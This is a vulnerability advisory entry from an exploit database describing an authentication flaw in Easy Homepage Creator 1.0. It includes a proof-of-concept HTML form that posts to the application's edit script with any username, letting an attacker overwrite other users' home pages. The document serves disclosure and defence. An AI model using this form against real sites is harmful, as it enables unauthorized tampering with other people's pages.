Ben Chivers Easy Homepage Creator 1.0 File Modification Vulnerability

ID SSV:75482
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.


The vulnerability has been reported for Easy Homepage Creator. It is possible for an atttacker to modify any user's home page. The vulnerability is the result of Homepage Creator failing to properly authenticate users who wish to edit home pages. 

<h1>Easy Homepage Creator Vulnerability</h1>
<table border=0 cellpadding=2 cellspacing=1 width="90%">
<FORM method="POST" name=edit action="http://victim/homepage/edit.cgi">
Username: <input name="username"><br>
You can edit other user homepage below :
<textarea rows="17" id="homepage_edit" name="homepage_edit" cols="88">
Please type your messages in here.
<td class=top>
<input class=button type="submit" value="Edit Homepage" name="edit_homepage"></td>